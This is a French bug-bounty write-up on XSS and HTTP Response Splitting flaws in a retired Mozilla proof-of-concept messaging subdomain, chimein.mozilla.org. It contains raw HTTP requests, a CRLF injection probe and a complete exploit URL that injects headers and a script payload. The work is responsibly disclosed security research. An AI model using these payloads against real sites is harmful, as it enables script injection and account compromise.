Un sous-domaine de Mozilla.org disposait de plusieurs vulnérabilités XSS et d’une vulnérabilité de type HTTP Response Splitting.
Cet article illustre l’exploitation d’une HRS (HTTP Response Splitting) afin de l’élever en XSS réfléchie le tout au travers d’un exemple concret : Mozilla.
Présentation de la cible
Lors de la recherche de (sous)-domaines vulnérables dans le cadre d’un programme de Bug Bounty, la phase d’attaque par dictionnaire de sous-domaines peut mener à bien des trouvailles. Au delà des domaines / sous-domaines connus qui peuvent être aisément listés et découverts via les moteurs de recherche, les dorks, ou encore les outils d’OSINT tels que « the harvester« , certains sous-domaines peuvent rester cachés, non-indexés et « inconnus ».
C’est précisément le cas pour le sous-domaine victime des quelques vulnérabilités détaillées par la suite : chimein.mozilla.org. Ce domaine, qui n’était pas indexé sur les moteurs de recherche communs et qui n’était ni « cité » ni « lié » nulle part, fût découvert par un subbrute (brute-force de sous-domaines) par hasard.
Ce domaine disposait d’une apparence et d’un design qui laissait à désirer (comprendre qu’il semblait héberger une ébauche d’application web, ou encore un PoC).
Une liste d’utilisateurs inscrits ainsi qu’un formulaire d’inscription/connexion très sommaire étaient présents : sans aucune fioriture ni CSS. En renseignant un compte arbitraire afin de s’inscrire, j’ai donc pu m’enregistrer et m’authentifier sur cette application web dont je n’avais pas encore déterminé l’utilité :
- Login : ycam
- Password : ycam
- Passphrase : ycam
Note : Une passphrase en plus d’un mot de passe ? Vais-je rencontrer une notion de chiffrement asymétrique et certificats après inscription et authentification ?
Une fois inscrit et authentifié, l’intérêt de cette application web s’éclaircissait : un formulaire pour envoyer des messages (chiffrés) aux autres inscrits devenait visible, ainsi que bien évidemment la liste de mes « propres » messages reçus :
L’application quant à elle fonctionnait plutôt bien : dès lors qu’on s’inscrivait, une bi-clé était générée côté serveur et chaque message envoyé d’un utilisateur à un autre était protégé par du chiffrement asymétrique exploitant ces certificats couplés à la passphrase indiquée.
Le côté « très précaire » du design et de l’apparence de l’application m’ont fait penser à un proof-of-concept de Mozilla, « oublié » sur un sous-domaine non-référencé encore au stade bêta. J’adore ce genre de cible (plutôt rares il faut l’avouer), sur lesquelles j’ai déroulé mes batteries de tests.
Quelques XSS…
Le côté très « simple » et « proof-of-concept » de l’application m’ont incité à tester d’emblée les traitements et nettoyages réalisés côté serveur des entrées utilisateurs : aucune sanitization.
Les champs étaient donc vulnérables à des vulnérabilités de type Cross-Site Scripting.
XSS réfléchie
Le champ d’authentification par exemple (login), qui était immédiatement réfléchi une fois authentifié dans le message « logged in as [login] » était vulnérable à une injection XSS standard :
Une fois authentifié, la réflexion était déclenchée :
Mais cette XSS (Self) n’était que peu critique…
XSS stockée chiffrée
Plus intéressant : le corps même des messages envoyés aux divers destinataires était lui aussi vulnérable. Les messages étaient chiffrés (via la bi-clé / passphrase), donc le payload XSS était par conséquent stocké chiffré par l’application.
Une fois reçu par l’utilisateur-victime, celui-ci le consultait après avoir indiqué la passphrase associée :
Et le payload, une fois déchiffré, se déclenchait…
Plus intéressant que la première (Self-)XSS, cette Stored-XSS chiffrée gagnait en criticité mais nécessitait encore des actions de la victime éventuelle (se connecter, choisir le message malicieux, indiquer la passphrase, etc.).
HTTP Response Splitting
Le HTTP Response Splitting (HRS) est une technique d’injection au niveau des en-têtes (headers) en réponse du serveur. Le principe consiste à forger / modifier les en-têtes d’une réponse serveur à partir d’une requête client contenant de données arbitraires. L’OWASP indique :
HTTP response splitting occurs when:
- Data enters a web application through an untrusted source, most frequently an HTTP request.
- The data is included in an HTTP response header sent to a web user without being validated for malicious characters.
HTTP response splitting is a means to an end, not an end in itself. At its root, the attack is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header.
To mount a successful exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header AND the underlying platform must be vulnerable to the injection of such characters. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allow them to create additional responses entirely under their control.
Détection du HRS
L’applicatif fonctionnait via une API et plusieurs entry-points. Par exemple, pour créer un nouveau message, l’entry-point « /message/create » était utilisé. Pour lister les messages reçus c’était « /message/list » et pour consulter un message particulier « /message/get » avec l’ID du message transmis en JSON-POST via une requête de type :
POST /message/get HTTP/1.1 Host: chimein.mozilla.org User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 30 login=ycam&password=ycam&id=57
La réponse associée au message d’ID 57 était du type :
HTTP/1.1 200 OK Content-Type: application/json Content-Length: 1525 Date: Fri, 21 Oct 2016 00:05:14 GMT Connection: close {"id":57,"sender":"ycam","recipient":"ycam","subject":"ycam","subject_signature":"C2sgosxgaKPEqJJwLb5R29A8fqX9wxA30SLqcJzKLkhEDVuAIIZesho736eDtI7GbrjpFBgc9I8E\r\n/PMRAbK6IZF9O9G+kOmy9a/mSPY9L8yiFdwk8CXzW/nvmirx3qelwQ87z3cgrxGe8um7Ntc603h2\r\nWrux3wQrv5JptqEMC1Cj+atQQQ/B6ahv9Q6K2z7wmIViR1mcZuNG9V26PwierLoNNOBDwXmChsPI\r\nKpy/0TgJhkpWj+PO3YIvxy015imeISUgmZyTmOaJAy7/OQzvw5GUAS5nTG/tU79kO7AlhQLTgjlL\r\nE3uKE2jM2ACuwtqZNeSpNTUeyGBLCxHD18vqMw==","body":"O8E+SCVlBZiL8xsg0yEg+K5+jdHKkuQA89z8FpLDekOT3CUa43B/Qw+BxyCTgccngdRp7en7Zi+M\r\nwMgDouqt8f1NGa8hxk4xP0lxN0vsR8dz1DyY2etgtGtSY8ehWDoK","body_signature":"kFLh+gNR1Ow2zuxqRebnYmiB/N2GEYWSFdLdK4dfdM2N5pKJw5eXsfu1YyKkznYEHU1c1z+YF13e\r\nzyWBWtwmSPff+6JFWIHGqYI2RR+qszbAduHwHSniFPkz0gKntc/xOe8GFX62z78pAPJfZ4tLyg8p\r\nLobVsLDjaipcRsy4tC0LWz56zjCWbACKPP9Gwi0VGng2Ny3KYoTSt+6t7GkCWf799ztY8R0WYJ8q\r\nskQAYD5LuHpdadi8+8RDdgYOaepyYPGfjuhJXXsqec9rivk84mkZSa8cAtXgrFF4bnj+F9z8KFgc\r\nvhiVAG71i65AVRbJ6pPR2CKjnnOhSkBjldNIuQ==","session_key":"a3EPAkTnptCVn9FSgmfTkpgzgjQgOGuYLFG+MmtmZjcwAPJjXePxH8/1XWWolhPn1fRmf4j9ybmo\r\nlXYOg4Fj1ss8k2HRcugxridBTkZ53dd0Af0qEHeSsiA1Rsm0d2G76k6qsWzgD55WBc6nuEXiOrzM\r\nTxVPIcT/vLbjTA0hrnzmm/tiyq31YPVOYq3Di95urw38DFJIRPKiP/cJ0GoWkUrcB6OK8lCfvx0K\r\nWsS+PpAB/c1xBUoG0TmFKZRkCXx8toykvz7cqC6hwZHbWRj4A5cLbnIrYdIXZ+2AkjhwcNzqWHQb\r\nHHm1wN6fkalHKXW7+wM2ctioB1JaE3gYE7WmGA==","session_key_iv":"zOtfAHFpmaW+hm2xcJhPxw==","status":"read","sent_date":"2016-10-20T23:05:30.009Z","retrieved_date":"2016-10-20T23:06:45.811Z","read_date":"2016-10-20T23:06:48.066Z"}
On remarque la présence de plusieurs caractéristiques cryptographiques dans cette réponse, notamment la signature, les IV, la clé, etc. Induisant que le déchiffrement était réalisé côté client.
Dès lors que l’on essayait d’injecter un ID inexistant ou mal-formaté, le serveur retournait un code d’erreur 500 avec l’ID en question réfléchi dans le message du code d’erreur :
HTTP/1.1 500 message xxx does not exist Date: Fri, 21 Oct 2016 00:07:11 GMT Connection: close Content-Length: 0
De cette réflexion, on teste l’injection du traditionnel « \r\n » url-encodé, à savoir %0a%0d :
POST /message/get HTTP/1.1 Host: chimein.mozilla.org User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 55 login=ycam&password=ycam&id=xxx%0a%0dyyy%0a%0dzzz%0a%0d
Réponse :
HTTP/1.1 500 message xxx yyy zzz does not exist Date: Fri, 21 Oct 2016 00:08:40 GMT Connection: close Content-Length: 0
Bingo ! Nos en-têtes arbitraires sont bien présentes dans la réponse du serveur !
Exploitation
Via cet HRS confirmé nous permettant d’injecter et de générer des en-têtes arbitraires dans la réponse du serveur, l’idée va être de créer notre propre réponse HTML qui sera interprétée dans le navigateur (on génère notre propre XSS, en d’autres termes).
Pour réaliser cela, il nous faut plusieurs en-têtes à injecter ainsi que du contenu (l’XSS), par exemple :
- Header Content-Type: text/html
- Header Content-Length: [LENGTH]
- Un double \r\n\r\n suivi du « code source » HTML/JS de notre choix
- L’ouverture d’un commentaire HTML <!– afin de commenter tout le contenu (en-têtes et body) restant de la réponse légitime
Note : les paramètres étaient interprétés aussi bien en POST qu’en GET.
Ceci se traduisait par l’injection suivante :
https://chimein.mozilla.org/message/get?login=ycam&password=ycam&id=x%0a%0dContent-Length: 100%0a%0dContent-Type: text/html%0a%0d%0a%0d<html><body><script>alert(document.domain)</script></body></html><!--
XSS fired ! Nous avons exploité le HTTP Response Splitting pour élever l’injection d’en-tête afin de produire une XSS. Celle-ci se déclenche dès le chargement de la page.
« Correction » et conclusion
Suite à la découverte de ces diverses vulnérabilités ciblant différents points d’entrés de l’application, deux tickets sur le BugZilla Security / Bug Bounty de Mozilla ont été ouverts :
- Bug 1311883 – Stored-XSS and Reflected-XSS in Chimein.mozilla.org secure messenger system
- Bug 1311887 – HTTP Response Splitting in chimein.mozilla.org (leverage to Reflected XSS)
Ce domaine, ne faisant malheureusement pas partie de ceux éligibles au bounty de Mozilla, a été détaché de l’entrée DNS « chimein.mozilla.org » et n’était donc plus rattaché au projet Mozilla dans les 24h qui ont suivi.
Quelques semaines / mois plus tard, ce PoC de messagerie sécurisée n’était plus du tout accessible (même via l’IP du serveur).
Les vulnérabilités n’ont donc pas été corrigées (ce n’était qu’un PoC après tout), le sous-domaine a tout simplement été supprimé empêchant de nouveaux accès. C’est une méthode drastique, certes, mais fonctionnelle pour corriger les vulnérabilités 🙂 !
En tout cas, j’encourage tous les chercheurs de bugs à scruter les sous-domaines non-référencés via des outils comme subbrute, afin d’explorer d’autres périmètres qui n’ont très certainement pas encore été analysés !
Je remercie chaleureusement les équipes sécurité de Mozilla pour leur amabilité, leur professionnalisme, aussi bien pour les échanges au travers des tickets que via emails.
Merci de plus pour le Hall of Fame ! 🙂
Sources & ressources :